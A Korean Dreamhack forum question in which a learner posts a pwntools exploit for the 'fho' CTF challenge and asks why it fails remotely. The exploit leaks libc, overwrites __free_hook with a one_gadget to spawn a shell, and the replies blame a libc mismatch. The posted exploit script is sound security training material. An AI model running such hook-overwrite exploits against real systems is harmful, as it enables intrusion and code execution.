[클라우드 바우처] 80% 할인된 금액으로 드림핵 엔터프라이즈를 도입해 보세요. 자세히 알아보기
문제가 뭔지 모르겠습니다. ㅠㅜ

exploit test를 통해서 Hook overwrite를 따라해보고 있습니다.
local에서 flag 값까지 얻었는데 실제 서버에서는 flag값이 안나오네요. 뭐가 문제인지 알 수 있을까요?

code
#!/usr/bin/python3

from pwn import *

p = remote("host1.dreamhack.games", 17917)
#p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(name, addr): return success(": ".join([name, hex(addr)]))

buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - 0x021b97
free_hook = libc_base + libc.symbols["_free_hook"]
og = libc_base+0x4f302
slog("libc_base", libc_base)
slog("free_hook", free_hook)

p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(og))

p.recvuntil("To free: ")
p.sendline(str(0x31337)) # doesn't matter
p.interactive()

server 응답

hyunmin@WMRRD11-NC102M3:~/hyunmin$ python result.py
[+] Opening connection to host1.dreamhack.games on port 17917: Done
[] '/home/hyunmin/hyunmin/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[
] '/lib/x86_64-linux-gnu/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_base: 0x7f4ec0479060
[+] free_hook: 0x7f4ec0866948
[] Switching to interactive mode
[
] Got EOF while reading in interactive
$ ls

#pwnable
작성자 정보
답변 2
avatar
Dreamhack
대표 업적 없음

안녕하세요, 현재 서버의 libc와 회원님 로컬 환경의 libc가 달라서 생긴 문제입니다.
문제 제공파일에 libc 파일을 포함시켰습니다.
감사합니다.

2022.04.22. 16:21
avatar
saika😺
Closed Beta Tester

로컬에선 되는데 로그에서 libc_base가 00으로 안끝나는걸 보면 리모트의 libc 파일(환경이)이 로컬과 다른 것으로 추측됩니다.
리모트 서버의 libc가 제공된다면 그거 기반으로 맞추시면되고 제공이 안된다면 문제 제작자를 탓하면서 적당히 브포를 해보시거나 라이브러리 함수 주소를 릭해서 오프셋 기반으로 libc가 어떤거일지 추측하시면 되겠습니다.

2022.04.22. 16:24
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기